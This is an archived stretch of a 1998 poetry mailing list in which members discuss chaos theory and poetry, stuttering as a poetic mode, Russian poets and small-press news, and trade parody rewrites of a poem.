> *isn't belitt the one who distorted Lorca's work by obscuring or worse the homosexual references?*

--
****

Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222

[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

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641. **Dean Taciuch**
Re: Chaos and poetry
Mon 25 May 1998

On Mon, 25 May 1998, Henry G wrote:

> Dean, that was a very discerning reading of Hayles' book! You've discovered
> her limit, it looks like! Doesn't chaos theory find order even in the most
> minute, inchoate impressions? So the most delicate readings of reality would
> be at that submicroscopic discarded (poetry) level. Chas. Olson might be
> the place to start, at least looking for quotes. He always aimed for the
> most local, the most obscure, the most ignored, the... because MAXIMUS
was
> so minimal... "so few"... - Henry G.
>
Thanks. Hayles' in fact sees two schools of chaos theory. One, found in Gleick's _Chaos_ book, she calls the "strange attractor" branch--it finds patterns of oder in the chaotic structures themselves.

The other branch, the "order out of chaos" branch, is more philosophically oriented. The major proponent on that "side" is Ilya Prigonine, whose book _Order out of Chaos_ focuses on the emergence of order from chaotic systems, rather than the order implicit in the deep structure. Prigonine is much harder going for me that Gleick, but the focus in P is on irreversibility, determinism, and such--philosophically richer.

Olson, yes, he deploys these same notions, interestingly. My own interests now are more along the William C Williams line--his sense of nature in "Spring and All," for example, fits well with the idea of emergent order arising from disorder.

But what I am really after are contemporary uses of these ideas. Hayles locates them very well in fiction (Borges, some Pynchon, a whole chapter on Doris Lessing; no Burroughs, oddly enough). But no poetry. Ashbery would've illustrated several of her ideas very well. For example, her sense that Postmodern writers have an ambiguous relationship to chaos and the ever-increasing amount of information such systems generate. Well, that can be found in most of Ashbery's books--several poems come to mind ("Soonest Mended," with its line about "loose meaning" for example).

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642. **toddbaron**
Re: Laura Moriarty
Mon 25 May 1998

Bobbie West:

I have her address--but--also have tried to (e-mail) get her and --to no avail--if you want her address--ask..

Todd Baron
ReMap

↑ Index

643. **toddbaron**
Re: the poetics of the stammer
Mon 25 May 1998

---

of course--Eigner might be a "stutter"
of the page--as trying to locate the words--and the keys--and the phrases--

but the notion that we don't ALL stutter
seems odd--to me--as Robert Creeley's

Drive, he sd

or anything of the Creeley / Olson dialogues
or--for that matter--Duncan, himself--
as if a stammer were not a thot?

Tb
ReMap

↑ Index

644. **Matt Kirschenbaum**
Re: Chaos and poetry
Mon 25 May 1998

> *But what I am really after are contemporary uses of these ideas. Hayles locates them very well in fiction (Borges, some Pynchon, a whole chapter on Doris Lessing; no Burroughs, oddly enough). But no poetry.*

There's a piece by Tan Lin on Michael Palmer's writing in the _Poetics of Criticism_ volume (ed. Spahr et al.) that's loosely oriented around fractal geometry. Matt

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645. **Karen Kelley**
Re: the poetics of the stammer
Mon 25 May 1998

It's sad: any black performer rejecting the symbol of the grinning negro/creating art on his own terms would be perceived as too big for his pants. Miles was cool, though, and no one could deny that.

ScoutEW wrote:

> *In a message dated 5/24/98 9:53:47 PM, you wrote:*
>
> *<<I recall, some reviewers read this as megalomania on his part, but I always saw*
> *it as his rejection of the stand-up-and-project mode. It was thrilling: how cle>>*
>
> *In the autobiography, Miles Davis has said that he was deliberately rejecting the symbol of the grinning negro that musicians such as Louis Armstrong represented to especially white audiences. In this decade where everything is upfront, everyone including mad amounts of poets want "star" status and will stop at nothing to atttain it, it is nice to think about Miles Davis, who by the way obviously had an enourmous amount of influence on poetry in general, lay back and do his thing without kissing ass.*
> *It is sad that so many people would look at Davis's act as some projection of ego or whatnot, what he was doing was creating his art on his own terms, a concept this is absent, in an age of buying and selling images and ideas and "community"*

↑ Index

646. **morpheal**
Re: F.W.Taylor v. Wittgenstein & Adorno [philosophical incentives]
Mon 25 May 1998

> *you don't talk back at him. Now you come back on to work here to-morrow morning and I'll know before night whether you are really a high-priced man or not."---from Scientific Management by Frederick Winslow Taylor*

And so the incentive system was begun. It has been scientifically proven that giving chocolate bars to workers as an incentive for producing tonnage is at least as effective, and often results in the breaking of production records. Think of how much more effective certain kinds of stimulation of the human central nervous system, the pleasure centers, might prove in terms of gaining the desired results of longer hours, and more work, for less pay.

We have to recall the scientific fact that chocolate works on brain chemistry, and so we might have a basis as to why chocolate works better than money in some instances. So we then can better understand why remote CNS stimulation would work even better than that, in more people.

Of course the modern warrior must be more immunized than ever before to being influenced by either pain or pleasure stimulae, including remote stimulae. Only in that way can the modern warrior remain an effective asset. Whether such immunization can be adequately achieved without doing irreparable damage to the warrior's more normative functionning, remains to be fully understood. The experiments would not only be necessary, but interesting, as they would reveal a lot about human resiliency and abilities to adapt and function in new extremes of environment, including the future's electromagnetic plus psychological warfare battlefields. Any reasonably sophisticated enemy, will inevitably use EMR and psychological warfare weaponry in addition to other conventional and non conventional means.

Some feel that we can be ready for those new waves of challenge, or we might choose to throw poetry barrages at enemy troops.....Perhaps we need a balance of both, to preserve our humanity more fully. I wonder if there are any career soldiers who write poetry. I cannot think of any, but perhaps there are some.

> "*Seeing a living human being as an automaton is analogous to seeing one figure as a limiting case or variant of another; the cross-pieces of a window as a swastika, for example.*"---*Ludwig Wittgenstein, Philosophical Investigations*

It is commonplace for the true believers in an extremist ideology, as a group, to hold a belief that other human beings are no longer human. The demarcation line between us and them is thus more clearly drawn. In fact this is a characteristic of totalism. Even those who are being made into members of the group of true believers must first experience what it is like to no longer be a human being as part of their indoctrination.

This is also true for prisoners of war. It is one of the methods used to break them. Of course, those troops with access to any sensitive intelligence must be trained to withstand that same dehumanization. Extremes of hazing, centering out, and fragging, are one often criticized, but very effective training tool that helps train special forces personnel. It also trains intelligence workers.

It is a curious fact that there is at least one extremist group, claiming Christian affiliation, within North America, that appears to hold the view that they are the true humans and all those who are non members of that affiliation will be reduced to zombies. The same distinction between an in group of true believers and outsiders, where the outsiders are perceived as less than truly human. Of course there are always extremist groups of various kinds within any non

totalitarian, non totalist, nation. The safeguards exist to prevent their ever assuming sufficient power to actualize their aggendas.

> *"The transcendental reduction; the exemplary index of scientific geometry; the intention of objectivity; the immutability of our classification secured by our subsequent behavior. Coherence becomes the precondition for truth, the illusion of unity. The movements that machines demand...already have the violent, hardhitting, unresting, jerkiness of Fascist maltreatement."---Theodor Adorno---cp*

To know thyself adequately for the purpose of discerning one's own mind from other minds, requires knowing what is subjective and what is objective. It is more complicated than it seems, and a very rare skill, but it is essential to any instance of a truly effective observer.

Coherence is, of course, not a condition of truth. Apparent coherence can be the height of illusion.

As for the mechanisms, traditional technology was meant to work materials into new forms, for new uses, grossly by means of violence. Future technologies will work on materials in new ways, that emphasize the rearrangement of the basic "building blocks" of the physical matter that is being worked. Thus we arrive at the new alchemy. A nanotech of transmutations that might know no real limits, other than how far our science has progressed at any given time.

Morpheal

aka Bob Ezergailis

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647. charles alexander
new nichol site
Tue 26 May 1998

For Gary Sullivan and others who are interested, selections from bp Nichol's Art Facts: A Book of Contexts, are up on web pages which are a cooperative publication of Chax Press and Light and Dust Mobile Anthology of Poetry, and the site is located at http://www.thing.net/~grist/l&d/bpnichol/bp-af.htm

If you go to the contents page of the Light & Dust Poets site, at http://www.thing.net/~grist/l&d/lighthom.htm and scroll down to the Nichol entries, you will find there are several other Nichol pages there for you to see.

charles

charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
NOTE NEW URL FOR CHAX PRESS http://alexwritdespub.com/chax

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648. **Mark Prejsnar**
Re: Spicer in Lingua Franca
Tue 26 May 1998

Actually, this article is quite fascinating....

It declares that Spicer has had virtually no influence since his death. The author of the article believes that these new books are rescuing an obscure and forgotten figure from obscurity...

Folks should read this article for some sense of the unimaginable void between most of academe and what's happening among poets...

Breath-taking...

m.

On Sat, 23 May 1998, KENT JOHNSON wrote:

> *Has this been mentioned? A substantial article on Jack Spicer appears in the new Lingua Franca ("Radiohead," by John Palatella, May/June). Very nicely done and with commentary on Gizzi's edition of the lectures and _Poet Be Like God_ by Killian and Ellingham.*
>
> *Sorry if I'm reporting old news, but wanted to make sure this was known.*
>
> *Kent*

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649. **DANIEL L. COLLIER**
Re: a stutter to the Russians
Tue 26 May 1998

Kent,

Lucy and I interviewed Prigov (informally) a few months back. I'll try to scrape some bits of the interview onto the list within the next few weeks. If you're interested, I can scan photos of him standing in front of a wall of wonderful charcoal drawings of his friends and fellow writers as demons. He is a visual artist who earned his living during Soviet times doing sculpture for children's playgrounds & such, and his house is full of wondrous objects d'texte.

At least one book-length translation of Prigov's stuff exists (he showed it to us) but it's not very good. (He said he can't judge the English writing, so he just agrees to the translations if he likes the person.) A Penguin "New Russian

Writing" anthology (don't have it in front of me) contains good translations of one Prigov piece and of one Rubenstein piece. The book's presentation of Rubenstein is a bit misleading; they give his "story" as a numbered list, whereas in his books the numbered story bits are separated by dotted lines & meant to be cut into cards and spread across the floor, shuffled, scrambled, etc.

If anyone knows of any decent translations (published or ongoing) of Prigov or Rubenstein, please let me know.

Both are wonderful poets & people, by the way. After one meeting, Prigov acted like he was our dad (in the pleasant way only someone who's not your actual father can do) and Rubenstein's a tiny, skinny, grinning guy. I met him after a reading when he interrupted a discussion of some guy named Porter to observe: "Porter? Eto pivo." Truly a genius.

Prigov will be out of the country until sometime in August... England, I think. I'll backchannel his phone number to you as soon as I remember to bring it in.

Danny
[redacted] or [redacted]

****

Date: Fri, 22 May 1998 23:22:25 -0500
From: KENT JOHNSON
<[redacted]>
Subject: A stutter to the Russians

One of the great "stutterers" in contemporary poetry is Dmitri Prigov. One example of his genius use of the stutter can be found in "49th Alphabet Poem," translated by Gerald Janecek and included in _Third Wave: The New Russian Poetry_. But to get the full effect, of course, one has to witness Prigov in performance (and he is surely one of the great living readers, too). About five years ago, PBS ran a documentary on the Western market-explosion for post-Soviet art, and the film included a segment of Prigov reading one of his "Alphabet" (I believe) poems. Allen Ginsberg stood beside him, mouth open, as Prigov stuttered and spat Cyrillic syllables into the microphone, eyes rolling in as if he were in seizure. When he was done, Ginsberg leaned into the microphone and said B-B-B-Bravo!.

I've lost contact with Prigov in the past few years, and I'd be interested in finding out if anyone is currently translating his work. I know that Lyn Hejinian and Elena Balashova were doing some translations at one time. It's certainly a shame (unless I've completely missed it) that there isn't yet a book of his writing in English.

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650. **Michael Magee**
Re: the poetics of the stammer
Tue 26 May 1998

For those interested in this jazz/stuttering vein, I'd mention Monk, stuyterer extraordinaire, and more specifically Nate Mackey's work where Monk and Creeley are implicitly compared along these lines. with the suggestion that the stutter is an admission of the obduracy of experience, and that this admission is "the gesture that opens the field" in their work. Good stuff. -m.

According to Stephen Cope: >
> Since Miles Davis has been brought up, I might mention (if it hasn't been
> already), that some of the more significant stuttering poetries that have
> been produced in this century derive much from jazz phrasings (and of
> course, jazz rhythms, and again, of course, scat). Creeley, for instance,
> has located the genesis of his own phrasing in his early fascination with
> Charlie Parker. Similarly, if one reads the Olson/Creeley correspondence,
> one finds Creely often beseeching Olson to listen to Parker's music, and it
> seems fairly certain that "Projective Verse" was written with at least a
> little Parker in mind. This, in any case, might put a different spin on the
> sense of the term "projective" as it's being discussed here...
>
> Stephen
>
>
> >> i heart this thread. i was captivated by something similar, which in my
> >> mind i called (and in print a coupla times too) "counterperformance,"
> >> namely the exact opposite of what they teach you about "projection,"
> >> clarity, dramatic enactment etc. for me it was sparked by seeing Bob
> >> Kaufman read in 1981, barely audible, clearly just trying to "get through
> >> it," but affecting nonetheless. also heard an anecdote from walter lew
> >> about going to hear r.d.laing once, and laing sat and mumbled on stage
so
> >> incoherently that eveyrone left except (as i recall the tale) walter. i
> >> had a dream once where something similar happend w/ artaud. and this
paper
> >> i've alluded to once or twice by bruce boone on john wieners seems to get
> >> at the same kind of thing. since i'm trying to write abt wieners right now
> >> (w/o ever having heard him read) this is all very helpful. --md
> >
> > One of the best performances I ever saw was Miles Davis at the Music Hall
in
> >Boston. He had on a gold lame jacket with tails, and a brilliant red

> >trumpet, and
> >he wandered kind of aimlessly about the stage while the band played, and
> >when it
> >was his turn he'd stop wherever he was and with his back to the audience
> >play. As
> >I recall, some reviewers read this as megalomania on his part, but I always saw
> >it as his rejection of the stand-up-and-project mode. It was thrilling:
> >how clear
> >his trumpet's voice was, and how little of "him" was there. Well, except
> >for the
> >gold lame coat.
>

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651. **Stephen Cope**

Re: the poetics of the stammer

Tue 26 May 1998

Dean et al:

Yes, "the creaking of the word" (from Dogon mythology) is central to Mackey, as is Legba's limp (from Voudun), and in DISCREPANT ENGAGEMENT he uses both to come to terms with black music, but also with Wilson Harris, WCW, Creeley, others (including himself). But this has, of course, been rehearsed here before...

On Science/Poetics: Fernand Hallyn's THE POETIC STRUCTURE OF THE WORLD, although it doesn't consider poetry _per se_, does deal interestingly with the question of _poeisis_ in science and cosmology, and would seem one place to go if one were pursuing a link between the two (when, for instance, did the two branches of thought suffer the decisive break from one another that still lingers today?) But that's not strictly chaos theory either.

Applying Prigonine's theories to Williams seems appropriate (although I must admit I've not yet entirely understood Prigonine's books, and have only really glossed them). It's amazing, tho, how much noise there is in Paterson - aural and semantic. And his sense of the falls as muse in P. would also seem to "fit well with the idea of emergent order arising from disorder." (This is of course a trope with a large and troubled history, dating back to Hesiod and his irritably duplicitous muses. "Chaos was born first and after her came Gaia...," or so the narrative goes.)

Stephen

ps - By way of connecting the two threads mentioned above: I've been writing a bit around the use of the term "quantum-qualitative" in Mackey's prose works (Djbot Baghostus's Run, really), which term obviously harkens back to Heisenbergian uncertainty and the ramifications thereof. Might be interesting to see what his work would look like read through Hayles' or Prigonine's lens...

> *I've been loosely following this thread, but I don't think Nathanial Mackey has been discussed much. He doesn't stammer, but he has written (in _Discrepant Engagement_? I'm away from my books now. . .) about a "creaking" " which he locates, in its modern forms, in blues, jazz. I think it relates to the stutter, and to the limp (which I now realize has been mentioned in this thread before, re: Mackey). If I recall, this "creaking" corresponds to letting in the noise behind or beneath the words, the noise from which the words arise.*
>
> *The stammer, perhaps, a hestitancy before speaking which allows other sounds in, background noises brought up to awareness?*
>
> *Dean*

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652. **ken|n|ing**
synaesthetics
Tue 26 May 1998

I'm looking for examples of "synaesthetic" writing, whatever that might entail, from Faulkner's Benjy to _____ . . . Poems or analysis on this psychological mishap, suggestions? Back-chan., please. Thanks -- Patrick F. Durgin

|
|
k e n n i n g``````````````|```````````````````````````
a newsletter of contemporary |poetry, poetics, and non-fiction writing
|418 Brown St. #10 Iowa City, IA 52245 USA

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653. **AERIALEDGE**
Re: the poetics of the stammer
Tue 26 May 1998

---

terrific essay by Deleuze on this subject: "He Stuttered" in _Essays critical and clinical_ . also of interest there an essay on seriality & exhaustion re, mostly, Beckett, & an essay on Whitman & the fragment.

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654. **R. Gancie**
deeply we enquire
Tue 26 May 1998

"In the world of sense, however deeply we enquire into its objects, we have to do with nothing but appearences."---from The Critique of Pure Reason by Immanuel Kant

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655. **Christina Fairbank Chirot**
Re: stuttering, stammering
Tue 26 May 1998

Susan Howe has pointed out that Oslon remarked of Billy Budd--"the stutter is the plot" . . .

Henry James was a well known stammerer--(imagine dictating the later books to a typist--with a stammer--yet maintaining the sweep of those majesterial clauses and phrasings--and then hearing them come back as the sounds of the typewriter--kind of shades of Olson's Projective verse typewritten compositions??)-- yet Edith Wharton noted in a memoir that James when reciting Whitman (his favorite poet) did not stammer-- so much for the "barbaric yawp"! --dave baptiste chirot

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656. **Christina Fairbank Chirot**
Re: A stutter to the Russians
Tue 26 May 1998

and why not in the anthology have Rea Nikonovna & Serge Segay?

-dbc

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657. **William Burmeister Prod**
Re: Lorca
Tue 26 May 1998

Belitt's translations of some of Jorge Guillen's Canticos poems left a lot to be desired too if I remember correctly.

William

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658. Alan Myouka Sondheim
a poem
Tue 26 May 1998

-

Nikuko draws a thread around her arm, just below
The elbow, it's thin, red, it's a division, it's a line.
The leg is marked as well, left arm and leg right,
Staggered dashes that would be parallel and posed.
They are slightly taut, so that the skin swells, lunar,
Around the moon of her taut body, and if kimono
Were wrapped and opened like silk and doubled boxes,
Near sleeves of flowers, like her arm or body.
Between the the threads, a golden twine connects
Clearly to an Alan placed in front of her.
There are flowers, pistils, stamens, across him.
There are stems, thorns, roots and leaves, across him.
The twine is there on or in the Alan.
A breeze strokes the tsuchi sign for earth,
A whisper moves the kire sign for cloth,
Speech appears, the sign of fire, threads its golden
Way across both bone and skin, the sky on fire,
Kimono shuttled on the earth, the cloth on fire,
Threaded Nikuko has closed her eyes, her neck exposed.

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659. morpheal
Re: bytes & rights
Tue 26 May 1998

> *As one last aside, Tipler's statement is almost teleological in the way it argues a straight line of improvement past to future.*

I missed that particular point.

Definitely false. Tipler, and some other scientists, definitely do not argue that. They argue for a new teleology that incorporates feedback loops from future to past as well as normative causalities past to future.

Sarfatti discusses this as "back reaction" on his www pages. Tipler has also written on similar subject matter, including CTLs (closed temporal loops).

Some intelligences might be more sensitive to feedback from the future than others. For instance this might explain Leonardo Da Vinci's prodigious inventions, lacking the materials but incorporating designs we are familiar with in this century. Jules Vernes uncanny prophecies, similarly. Or even some of H.G.Wells prognostications. We might even see the mythos of the Atlanteans as the Atlanteans of our future, rather than our past (where archeology has in effect failed to find them), manipulating the fabric of human historical evolution, so that our Atlantean successors can save themselves from their destruction. And what of Socrates Daemon giving Socrates his insights the way the Great Gazoo gave insights to Fred Flintstone.... Perhaps it is the distant future whispering in Socrate's long ago ear ? Perhaps some of the shadows of electromagnetic artifact from the future becomes a part of the cultures of the past, shaping them, though also mostly by pure chance, and being the cause of many worlds bifurcations of accelerated cultural evolutions ? There are indications that that might be happening. That our electromagnetic garbage might in fact be throwing its wash into the wake of the past, as the prow of our ship continues at the crest of our temporal wave. Does that mean that we must be more cautious about our electromagnetic output ? Perhaps.

That definitely complicates any simple minded traditional teleology.

I like Micheal Moorecock's playful science fiction interpretations best, as presented in "The Cornelius Chronicles". There, the "many worlds" and temporal loops take the form of a fictional narrative, and you must note what years the rock musician, PhD in physics, wrote the original trilogy.

M.

↑ Index

660. Christopher W. Alexander

miles aside

Tue 26 May 1998

¶ btw, for those of you who haven't heard it, the newly remastered Kind of Blue is just unbelievable, definitely not one of those repackage-jobs. The tone is so much clearer now, and the alternate take of Flamenco Sketches is so worth it...

chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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661. **ScoutEW**
Re: a poem
Tue 26 May 1998

In a message dated 5/26/98 4:18:16 PM, you wrote:

Jordan draws some blood thread from her arm, just below
The waist, it's thin, blue, it's a dinosaur egg, it's edible.
The ladies love me well well, he left arms and egg right,
Stag party red dishes that would be and rooster mechanics
hey are you slightly tinted?, so that the skin wells lunar=luxeries,
Around the back of the and rice shampoos, and if kim on
re-wrapped and penned like milk and deviled foxes,
Hear sneezes of flowers, parking tickets reign.
Between "Red Sheds," a golden lion yawns
"They are too many songs comparing flowers to sex."
(and everyone forgets the bumblebees), humblebees
There are flowers, pistols, hymens, across him.
There are stains inside him (bulletboys)
The swine is here eating Alan.
A lazy strokes its sign for earth,
A whisper moves across Athens for cloth,
A peach appears,he signs of tires, threads his golden
way instead of both bone and skin, the man is on fire,
dan shuttled the earth in self,
has closed h eyes, her ck exposed.

↑ Index

662. **Alan Myouka Sondheim**
Re: a poem
Tue 26 May 1998

On Tue, 26 May 1998, ScoutEW wrote:

> In a message dated 5/26/98 4:18:16 PM, you wrote:
>
> Jordan draws some blood thread from her arm, just below
Where angels, fools, and I myself sometimes refuse to go.
> The waist, it's thin, blue, it's a dinosaur egg, it's edible.

But though unmarried, one might add, its really quite unweddable.
> The ladies love me well well, he left arms and egg right,
On his way back from hell, thinking of his marriage night.
> Stag party red dishes that would be and rooster mechanics
Made would-be spouse Nikuko dream of various heads and dicks.
> hey are you slightly tinted?, so that the skin wells lunar=luxeries,
Still on the marriage theme, he lost his way uxorious.
> Around the back of the and rice shampoos, and if kim on
She knew he hated sex, in fact, and didn't have a rim on.
> re-wrapped and penned like milk and deviled foxes,
A birthmark on both your threads, the devil has his poxes.
> Hear sneezes of flowers, parking tickets reign.
While Alan through Nikuko takes on unending pain.
> Between "Red Sheds," a golden lion yawns
While Nikuko through Alan, labors, loves, and fawns.
> "They are too many songs comparing flowers to sex."
Or sex to flowers, golden showers, Nikuko throws her hex
> (and everyone forgets the bumblebees), humblebees
Not Alan, though, stung by her charm, he's down upon her knees.
> There are flowers, pistols, hymens, across him.
There's something stuck to his ugly quim.
> There are stains inside him (bulletboys)
More stains outside, her violent toys.
> The swine is here eating Alan.
Of which the blood's not worth a gallon
> A lazy strokes its sign for earth,
Nikuko's finally giving birth.
> A whisper moves across Athens for cloth,
Carried in the mouth of the all-devouring moth
> A peach appears,he signs of tires, threads his golden
Ire on both their houses, spouses, now that the mold's on,
> way instead of both bone and skin, the man is on fire,
Nikuko's killed him off in truth, Alan was a liar.
> dan shuttled the earth in self,
Nikuko wove out of herself a newer, molten self
> has closed h eyes, her ck exposed.
Alan's half-formed, Nikuko, vomiting, supposed.
>

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663. **Charles Bernstein**
Close Listening & for less
Tue 26 May 1998

I am pleased to announce a price reduction for Close Listening: Poetry and the Performed Word. The paper edition of Close Listening has now been priced by the publisher at $19.95, less than the price originally listed on the notice I sent to the list.

Close Listening: Poetry and the Performed Word
Edited by CHARLES BERNSTEIN

Close Listening brings together seventeen essays, especially written for this volume, on the poetry reading, the sounds of poetry, and the visual performance of poetry.

Oxford University Press
368 pp., 22 linecuts
$19.95, paper, 0-19-510992-9

Contributors: Susan Stewart, Nick Piombino, Bruce Andrews, Marjorie Perloff, Susan Howe, Johanna Drucker, Steve McCaffery, Dennis Tedlock, Bob Perelman, Peter Quartermain. Jed Rasula, Peter Middleton, Lorenzo Thomas, Maria Damon, Susan Schultz, Ron Silliman, and Charles Bernstein

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664. **louis stroffolino**
Re: Byrd's reply 2 Alex and droffolino's quest
Wed 27 May 1998

Don--thanks for thoughts on PER-MISSION....
so, I'm reading the latest LUNGFULL magazine and finding note
from ANSELM BERRIGAN on his poem therein included:
"the poem is an attempt to figure out what might be "permitted"
to do in 1998, & how not to do that & therefore continue
(& not intended as a slag on R. Duncan, by the way, but a
use of his half-line as extension into a field that requires
some clearing"-------
(the line by the way is "often i am permitted/ to blow my
brains out") Now, this may be one of the ways it's possible
"to draw back from the representations of the Gods to the
attentions that worshipped them"----
although perhaps to someone in their 50s this may seem
too "adolescent", but considering that 1998 may be EVEN
MORE REPRESSIVE and TOTALITARIAN than 1950s was, maybe

"adolescent" emotions need to be valorized, or at least
cathartically, in poetry (so it can still serve some kind
of safety valve function for suicide urges....)....
and so I also therefore give permission to Steven ROdefer
to Heckle Ondaadje (sp?)
and give Ondaadje permission to donate proceeds to the KSW!
and maybe somebody will give me permission to indulge my
LOGORRHEA as Duncan's was indulged.....
chris

On Fri, 22 May 1998, Don Byrd wrote:

> *charles alexander wrote: -- the obvious thing to do is*
>
> *to take things from southwestern/Sonora desert indigenous peoples, relating to living well with the earth here. We may do some of that. But I also want to do some non-obvious things. I already have a bunch of potential selections from poetry & art (some wonderful things from Eva Hesse) -- but if anyone can suggest other possibilities, I'll be forever grateful.*
>
> *Gravelly hill was 'the source and end (or boundary' of*
> *D'Town on the way that leads from the town to Smallmans*
> *now Dwelling house, the Lower*
> *Road gravelly, how the hill was, not the modern useableness*
> *of any thing but leaving it as an adverb as though Earth herself*
> *was active, she had her own characteristics, she could*
> *stick her head up out of the earth at a spot*
> *and say, to Athena I'm stuck here, all I can show*
> *is my head but please, do something about*
> *this person I am putting up out of the ground into your hands.*
>
> *--"at the boundary of the mighty world," _Maximus_, p. 330)*
>
> *And Chris asks why we do not have O'Hara's permission. Why do we not have Olson's? to call, as creatures of earth, on Athena herself? Or Duncan's permission to return to the meadow where we hear everlasting rumors of What Is? or H.D.'s (thinking of Bowering's recent post).*
>
> *It is a real problem. Mythology has been bought up by New Age commercialism, and, to a certain extent, even the environmental movement has been colored by it. I am glad to hear, Charles, that you are trying not to draw too much on the indigenous people. As much as one admires their culture, it does not have much to teach us _directly_. It was local and the numbers involved were small. We are now five billion (and growing) on a small earth and all subject to the same market.*

> *Is it possible to draw attention back from the representations of the gods to the attentions that worshipped them? Something of this order would seem to be task. The images of mythic beings are altogether too conveniently available (mindlessly) in video games. What are the rhythms and movement of spirit that correspond to what might once have been available through those images?*
>
> *Don*
>
> --
> **********
> *Don Byrd ([redacted], [redacted])*
> *Department of English*
> *State University of New York*
> *Albany, NY 12222*
> *[redacted] (work); [redacted] (home); [redacted] (fax)*
> *The Little Magazine (http://www.albany.edu/~litmag/)*
> **********

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665. **Mark Salerno**

Arshile #9 and Upcoming Event

Wed 27 May 1998

We are pleased to announce the publication of the Ninth Issue of Arshile: A Magazine of the Arts. This issue includes:

Poetry
Robert Hershon, Sarah Anne Cox, William Bronk, Stefanie Marlis, William Aiken, Julian Semilian, Ed Friedman, Judith Taylor

Special Selection I
Ray Di Palma
Jim Brodey
"Some Materials"

Special Selection II
Kenneth Koch
"Five Famous Views of Kyoto"

Fiction
Linda Healey
"The Boy Report"

Review
Ron Padgett's "New & Selected Poems"
Reviewed by Alice Notley

Inside Art
Emerson Woelffer

Cover Art
Patrick Graham

Retail Price: $7.99
Subscription: Two Issues $15.00

Available in bookstores or directly from:
Arshile
P.O. Box 3749
Los Angeles, CA 90078

Distributors:
Armadillo & Co. Distributors ([redacted])
Bernhard De Boer, Inc. ([redacted])
Small Press Distribution ([redacted])

****

Arshile will be celebrating the publication of its Tenth Issue with a benefit reading at Beyond Baroque, Venice, California, on October 30, 1998. Readers to be announced.

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666. **ScoutEW**
Re: Byrd's reply 2 Alex and droffolino's quest
Wed 27 May 1998

LStoffolino wrote
<<Don--thanks for thoughts on PER-MISSION....
so, I'm reading the latest LUNGFULL magazine and finding note
from ANSELM BERRIGAN on his poem therein included:
"the poem is an attempt to figure out what might be "permitted"
to do in 1998, & how not to do that & therefore continue
(& not intended as a slag on R. Duncan, by the way, but a
use of his half-line as extension into a field that requires
some clearing"-------
(the line by the way is "often i am permitted/ to blow my
brains out") Now, this may be one of the ways it's possible
"to draw back from the representations of the Gods to the
attentions that worshipped them"----
although perhaps to someone in their 50s this may seem
too "adolescent", but considering that 1998 may be EVEN
MORE REPRESSIVE and TOTALITARIAN than 1950s was, maybe

"adolescent" emotions need to be valorized, or at least
cathartically, in poetry (so it can still serve some kind
of safety valve function for suicide urges....)....
and so I also therefore give permission to Steven ROdefer
to Heckle Ondaadje (sp?)
and give Ondaadje permission to donate proceeds to the KSW!
and maybe somebody will give me permission to indulge my
LOGORRHEA as Duncan's was indulged.....
chris>>

Who wrote often i am permitted/ to blow my brains out?
Anselm?
the 1990s are repressive as hell hidden under this "freedom to express clause"
in which every college age girl has a neat little tattoo around her ankle
Rebellion is manufactured, Chris look at the billboard near my sister
Tanya's apartment on Houston and Thomson street with the "Dalai Lama"
under
the caption
"Think different"
or likewise with Miles Davis Yeah, think different but "Buy this product while
you are at it"
I think that if more people knew of the meadow Duncan was writing about then
the world would be a less anxious place
and by the way What the hell is holding up a Robert Duncan collected works
including essays and all poems?
come on, share ...

erik sweet

↑ Index

667. **ScoutEW**
Re: a poem
Wed 27 May 1998

In a message dated 5/26/98 7:39:53 PM, We wrote:

<<> Jordan draws some blood thread from her arm, just below
Where angels, fools, and I myself sometimes refuse to go.
Quite different was his smile on fire
> The waist, it's thin, blue, it's a dinosaur egg, it's edible.
But though unmarried, one might add, its really quite unweddable.
> The ladies love me well well, he left arms and egg right,
Upon entering civilization, quiet firecrackers drew my outline
On his way back from hell, thinking of his marriage night.

> Stag party red dishes that would be and rooster mechanics
Made would-be mouse kuko dream of various beads and ducks.
> hey are you slightly tinted?, so that the skin wells lunar=luxeries,
Still on the marriage papers, he lost his courage to sign.
> Around the back of the and rice shampoos, and if kim on
She knew he hated sex, in fact, and didn't have a on.
> re-wrapped and penned like milk and deviled foxes,
A birthmark on both your threads, the devil has his poxes.
> Hear sneezes of flowers, parking tickets reign.
While Alan through Nikuko takes on unending pain.
> Between "Red Sheds," a golden lion yawns
While Nikuko through Alan, labors, loves, and fawns.
> "They are too many songs comparing flowers to sex."
Or sex to flowers, golden showers, Nikuko throws her hex
> (and everyone forgets the bumblebees), humblebees
Not Alan, though, stung by her charm, he's down upon her knees.
> There are flowers, pistols, hymens, across him.
There's something stuck to his ugly quim.
> There are stains inside him (bulletboys)
More stains outside, her violent toys.
> The swine is here eating Alan.
Of which the blood's not worth a gallon
> A lazy strokes its sign for earth,
Nikuko's finally giving birth.
> A whisper moves across Athens for cloth,
Carried in the mouth of the all-devouring moth
> A peach appears,he signs of tires, threads his golden
Ire on both their houses, spouses, now that the mold's on,
> way instead of both bone and skin, the man is on fire,
Nikuko's killed him off in truth, Alan was a liar.
> dan shuttled the earth in self,
Nikuko wove out of herself a newer, molten self
> has closed h eyes, her ck exposed.
Alan's half-formed, Nikuko, vomiting, supposed.
>
>>

↑ Index

668. **Alan Myouka Sondheim**
Re: a poem
Wed 27 May 1998

On Wed, 27 May 1998, ScoutEW wrote:

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>
> <<> Jordan draws some blood thread from her arm, just below
> Where angels, fools, and I myself sometimes refuse to go.
> Quite different was his smile on fire
While writing topples, overweight, its future dire.
> > The waist, it's thin, blue, it's a dinosaur egg, it's edible.
> But though unmarried, one might add, its really quite unweddable.
> > The ladies love me well well, he left arms and egg right,
> Upon entering civilization, quiet firecrackers drew my outline
In a style that clearly is more yours than mine.
> On his way back from hell, thinking of his marriage night.
> > Stag party red dishes that would be and rooster mechanics
> Made would-be mouse kuko dream of various beads and ducks.
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> Still on the marriage papers, he lost his courage to sign.
> > Around the back of the and rice shampoos, and if kim on
> She knew he hated sex, in fact, and didn't have a on.
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> A birthmark on both your threads, the devil has his poxes.
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> Not Alan, though, stung by her charm, he's down upon her knees.
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> More stains outside, her violent toys.
> > The swine is here eating Alan.
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> > A whisper moves across Athens for cloth,

